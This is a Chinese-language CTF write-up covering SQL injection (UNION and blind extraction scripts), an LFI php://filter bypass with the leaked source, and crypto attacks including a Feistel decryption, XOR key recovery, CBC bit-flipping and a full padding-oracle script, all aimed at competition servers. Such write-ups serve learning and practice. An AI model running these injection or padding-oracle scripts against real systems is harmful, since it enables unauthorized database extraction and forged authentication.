HCTF GAME Week 3 解题报告

06 Feb 2017

这次比赛十分怠惰，基本上都在外婆家里看动漫，结果做题特别少。

只做了两个大类，不过还有个400的渗透试着做过但是没搞出来，加密有两题是比赛结束后再去做做出来的。

这里只放Web和Crypto，还有个写了一半的Pentest，在HTML注释里→_→。

是时候干正事儿了。

Web

日常先做Web，本周为SQL注入专场，几道都是比较基础的知识。

从0开始之SQLI之0

http://45.32.25.65/nweb/sqli1/?user=user1

解题报告

一开始用最基础的 `'OR 1=1#` 注入发现没有flag，不过有一行maybe flag is in another space，看起来就是要拿表名。

当然，首先要尝试一下 `UNION SELECT` 。

于是注入 `'UNION SELECT 1,schema_name FROM information_schema.schemata#` ，拿到库名，hctfsqli1和test，稍作测试发现hctfsqli1为当前库，以及发现test没用，不提了。

于是接着注入 `'UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema='hctfsqli1'#` ，拿到两个表名，hhhhctf和users。

再注入 `'UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name='hhhhctf'#` 拿到列名flag。

直接查询 `'UNION SELECT 1,flag FROM hhhhctf#` 就拿到flag了， `hctf{f1rst_sql1_is_34sy}` 。

从0开始之SQLI之1

http://45.32.25.65/nweb/sqli2/?id=1

解题报告

按照第一题的套路试了试注入，试出来id参数没有引号包围。除此之外好像如果没跑出个username就出现it must return username报错，应该是基于报错的盲注。

```
1 AND SUBSTR((SELECT schema_name FROM information_schema.schemata LIMIT 1,1),1,1)='h'
```

成功。把上面的 `h` 改成了其它的就不行，于是试着写了个脚本。

```
import requests

suc = '<table><tr><th>id</th><th>name</th></tr><tr><td>1</td><td>user</td></tr>'
url = 'http://45.32.25.65/nweb/sqli2/?id=1 AND ASCII(SUBSTR((%s),%d,1))=%d'
#subq = "SELECT schema_name FROM information_schema.schemata LIMIT 1,1"
#subq = "SELECT table_name FROM information_schema.tables WHERE table_schema='hctfsqli2' LI
MIT 0,1"
#subq = "SELECT column_name FROM information_schema.columns WHERE table_name='hhhhctf' LIMI
T 0,1"
subq = "SELECT flag FROM hhhhctf"
finish = False
len = 6
while not finish:
    for c in range(0x20, 0x80):
        req = (url % (subq, len, c))
#        print(req)
        res = requests.get(req).text
#        print(chr(c) + res)
        if res == suc:
            print(chr(c))
            break
    else: finish = True
    len += 1

# hctfsqli2
#  hhhhctf
#   flag
#  users
# information_schema
```

期间我大概跑数据库结构跑了个透……结构和上面的注释一样。最后flag为 `hctf{com3_0n_h4v3_a_try233}`

从0开始之SQLI之2

让火焰净化一切... http://45.32.25.65/nweb/sqli3/

解题报告

蜜汁题目描述。这题居然改了表名，被坑了一把。套路和上一题完全一样（或者是我想了个更复杂的两题通用的注入方法？），就是改了个表名。这次的表名列名都是自己写了个脚本重新手注的，因为有前两题的经验，所以还是好猜的，脚本大致如下。

```
from hashlib import md5
import requests
import re

char = ''.join(chr(x) for x in range(0x21, 0x7f))
url = 'http://45.32.25.65/nweb/sqli3/index.php'
code = re.compile(r'[0-9a-f]{4}')
resp = re.compile(r'<table>.*|it must return username')

def demd5(hash):
    for i in char:
        for j in char:
            for k in char:
                bt = i + j + k
                if md5(bt.encode()).hexdigest()[:4] == hash:
                    return bt

s = requests.Session()
key = demd5(code.findall(s.get(url).text)[0])
while True:
    html = s.post(url, {'id': input('post: '), 'code': key}).text
    print(resp.findall(html)[0], '\n')
    key = demd5(code.findall(html)[0])
```

后来搞出来表名是hhhhhhctf。最后稍微改了一下上一题的脚本，不给出来了，跑出来flag是 `hctf{w0w_captch4_iz_Diao233}` 。

从0开始LFI之2

flag还在../flag.php下，不信你还能拿到 (ﾉ'□')ﾉ ┻┻ http://119.29.138.57:12002/

解题报告

首先乱测，测试了 `php://filter/convert.base64-encode/resource=1.jpg` ，发现能正常输出jpg，没有被encode成base64，然后对其中的字符随便改改随便改改，大概确认了是过滤了 `php://filter.*/resource=` 这一段，于是在后面重复了一次就拿到了flag，Payload为 `http://119.29.138.57:12002/show.php?img=php://filter/resource=1.jpgphp://filter/resource=../flag.php` 。

后来用同样的方法去看了show.php的源码，感觉非常诡异。我这里放一下show.php的源码。

```php
<?php
error_reporting(0);
ini_set('display_errors','Off');
include('config.php');
$img = $_GET['img'];
if(isset($img) && !empty($img))
{
    if(strpos($img,'jpg') !== false)
    {
        if(strpos($img,'resource=') !== false && preg_match('/resource=.*jpg/i',$img) ===
0)
        {
            die('File not found.');
        }
        preg_match('/^php:\/\/filter.*resource=([^|]*)/i',trim($img),$matches);
        if(isset($matches[1]))
        {
            $img = $matches[1];
        }
        header('Content-Type: image/jpeg');
        $data = get_contents($img);
        echo $data;
    }
    else
    {
        die('File not found.');
    }
}
else
{
    ?>
    <img src="1.jpg">
    <?php
}
?>
```

按照里面设置的两个关卡，首先GET的URL里需要有 `resource=.*jpg` 和 `php://filter.*resource=` ，所以这也是之前重复一边可以拿到flag的原因。但是又注意到后面的正则匹配里有一句 `([^|]*)` 会捕获所有非 `|` 字符，也就是说可以用 `|` 来截断，另一个payload就是 `http://119.29.138.57:12002/show.php?img=php://filterresource=../flag.php|jpg` 。很奇怪，不明白为什么要过滤掉 `|` .....

Crypto

几个涉及现代加密方法的加密题，需要学新知识了。

我一开始只做了两道看起来简单一点（做的人多→_→）的然后又玩儿去了，倒腾地时间不够用了才慌慌张张写了奇怪番外6的exploit，结果出了神奇的bug跑不出来，调了半天，最后比赛结束后才不知怎么就修好了……最后的最后又修缮了一下，这个再说了……

explorer的奇怪番外3

```
from hashlib import sha256

def xor(a,b):
    return ''.join([chr(ord(i)^ord(j)) for i,j in zip(a,b)])

def HASH(data):
    return sha256(data).digest()[:8]

def bes_encrypt(subkeys, data):
    i = 0
    d1 = data[:8]
    d2 = data[8:]
    for i in subkeys:
       d1 = xor(xor(HASH(d2),i),d1)
       d1,d2 = d2,d1

    return d2 + d1

def key_schedule(key):
    subKeys = []
    subKey = key
    for i in xrange(16):
        subKey = HASH(subKey)
        subKeys.append(subKey)
    return subKeys

def bes(key,data):
    subKeys = key_schedule(key)
    return bes_encrypt(subKeys, data).encode('hex')

#the result  is "1fde6a7b2ff15d0abad691215ca5d470"
if __name__ == "__main__":
    print bes('explorer','??flag_is_here??')
```

密钥:explorer

密文:1fde6a7b2ff15d0abad691215ca5d470

解题报告

首先简单看了一下维基百科的Feistel密码条目，大概就是这么个鬼：

有加密函数F，可不可逆均可；n串密钥$K_1, K_2, \cdots, K_i, \cdots, K_n$，其中$n$为加密轮数，明文$M$。

首先将明文分成长度相同的两部分L_0, R_0，然后对于每组L_i, R_i，执行如下操作

$$L_{i+1} = R_i$$
$$R_{i+1} = L_i \oplus F(R_i, K_i)$$

得到(L_n, R_n)即为密文。至于解密，逆着来就好了，按照维基上的说明，Feistel密码中，加密函数F即为解密函数F^{-1}，其余逆向即可，也就是

$$R_i = L_{i+1}$$
$$L_i = R_{i+1} \oplus F(L_{i+1}, K_i)$$

结合给出的代码，我们知道函数F即为代码中的 `xor(HASH(d2), i)` ，n为16，密钥串K为由字符串 `explorer` 经过函数 `key_schedule` 生成的一系列密钥。所以可以直接写出解密代码，几个重复函数不再打出来了。

```
def bes_decrypt(subkeys, data):
    d2 = data[:8]  # L
    d1 = data[8:]  # R
    for i in reversed(subkeys):
        d1, d2 = xor(xor(HASH(d1), i), d2), d1
    return d1 + d2

bes_decrypt(key_schedule("explorer"), "1fde6a7b2ff15d0abad691215ca5d470".decode('hex'))
```

拿到flag为 `rEvers3_tHe_kEy!` ，两侧加上 `hctf{}` 即可。

进击的 Crypto [1]

让我们来玩点有趣的东西 :)

http://119.29.138.57:23333/crypto/encode_system/

反正这个网站提供了选择明文攻击的可能性，还给出了flag加密后的密文。

比较有趣的是，流加密的生成器是随机的。而且更有趣的是，生成器每128字节就会重复，当然，这是后来发现的。

解题报告

这题坑我坑到了将近半夜一点，原因是比较早的时候猜到了正确的做法，结果手算出来前几个字符是乱码，而且每次都还不一样，让我以为我的猜测是错的。

题目给的流加密hint一点儿都没用上，说实话，这玩意儿说是流加密，其实……辣鸡算法每128字节循环一次，硬生生被写成了128字节为一块的块加密。

这以后我感觉密钥生成器也许是模128的线性同余算法，推了半天公式，不过不管怎么试都失败。

结果后来发现出题人故意用的乱码……被摆了一道……

其实还是猜的，另一条hint说是简单的对称密码，我猜加密是和异或有关，生成了一串字符POST上去，将得到的密文和POST的明文进行异或，如果猜测正确我们会得到密钥，然后再将密钥和给出的flag密文异或就得到了flag明文。

然后就出现了一开始算出来的乱码。结果flag在乱码的靠后部分。

这招太狠了。

```
import requests
import re

url = 'http://119.29.138.57:23333/crypto/encode_system/'
rx_c = re.compile(r'(?:\\x[\da-f]{2})+')
rx_f = re.compile(r'<!-- Flag:([\w\W]+)-->')

msg = {'message': '\x00' * 128}
resp = requests.post(url, msg).text
c = list(int(x, 16) for x in rx_c.findall(resp)[0].split('\\x')[1:])
m = rx_f.findall(resp)[0].encode()
print(''.join(chr(i ^ j) for i, j in zip(c, m)))
```

最后flag为 `hctf{Rive5t_C1pher_4_1s_ez}`

explorer的奇怪番外5

http://121.42.25.113/crypto1/crypto1.html

CBC字节翻转攻击，选择明文攻击。

服务端源码不给了，就是注册功能和登录功能，注册是你给出用户名(除了admin不能注册)和密码，它给出加密后的密文，登录是你给出密文，判断用户名是不是 `admin` 密码是不

是 `alvndasjncakslbdvlaksdn` ，是则给出flag。

解题报告

入门级别的字节翻转攻击，注册一个 `4dmin` ，密码为 `alvndasjncakslbdvlaksdn` ，然后再把拿到密文第一位 `xor ascii('4') xor ascii('a')` 即获得 `admin` 的结果。

flag为 `hctf{cRypT0_ls_1nteRestlng!}`

explorer的奇怪番外6

http://121.42.25.113/crypto2/crypto2.html

Padding Oracle Attack

内容和上一题完全一样，不过取消了注册功能。

解题报告

查了不少资料，这种攻击利用了块加密的填充(Padding)的特性，以及服务端对于错误填充给出了的错误回显（如果有的话），就会可以完全绕过密钥进行加密解密。

这种攻击的两个用处：在不知道密钥的情况下，已知一串密文的选择密文攻击，推导出明文；已知明文的选择密文攻击，推导出密文。

好了这题是已知明文，只讲后者……

首先服务器对于解密后错误的填充会给出错误提示，而CBC中第一块中使用IV解密IV的每一字节只会影响对应明文的一字节，于是我们利用这两点穷举IV每一字节得到唯一正确的填充，使IV和对应的块解密后成为一串可行的字符。

可是可行的字符不一定就是我们想要的明文，这时候就用到了上一题的字节翻转攻击了，将穷举出来的iv异或一下明文就好了。

而对于密文长度超过一组的情况，上一组穷举出来的iv再作为密文重新枚举新的iv，依此类推，因此我们是从最后一组开始枚举的。

最后我比较无聊地……写了个任意用户名密码，自定义第一个block的密钥生成器……也就是一开始说的修缮了一下……代码在下面

```
import socket
from time import sleep
```

```python
from binascii import hexlify

# get username, password and cipher from stdin
username = input('username: ')  # 'admin'
password = input('password: ')  # 'alvndasjncakslbdvlaksdn'
# b = 0x00000000000000000000000000000000
b = int(hexlify(input('last block: ')[:16]), 16)
final = '%032x' % b

# initialize plain text information
msg = username + ':' + password
blk = len(msg) + 15 >> 4
pad = (blk << 4) - len(msg)
msg += chr(pad) * pad
msg = msg.encode()

# initialize socket state
s = socket.socket()
s.connect(('121.42.25.113', 20003))
sleep(.5)
s.recv(256)

# calculate all blocks of cipher text
print('\nblock %d:' % blk, final)
for k in range(blk - 1, -1, -1):
    iv = 0
    for i in range(16):
        for bt in range(256):
            p = iv | bt * (1 << (i << 3))
            for j in range(i): p ^= (i + 1) * (1 << (j << 3))
            s.send(b'1\n%032x%032x\n' % (p, b))
            resp = s.recv(256)
            if resp[18:31] != b'decrypt error':
                iv |= (bt ^ i + 1) * (1 << (i << 3))
                break
        else:
            print('Something went wrong')
            exit(1)
    b = iv ^ int.from_bytes(msg[k << 4 : k + 1 << 4], 'big')
    final = hex(b)[2:] + final
    print('block %d: %032x' % (k, b))
print('encrypted message:', final)
s.send(b'1\n'); s.recv(32)
s.send(final.encode() + b'\n')
print('\n' + s.recv(32).decode().split()[0])
```

最后flag为 `hctf{cRypT0_ls_s0_1nTeRest1Ng!}`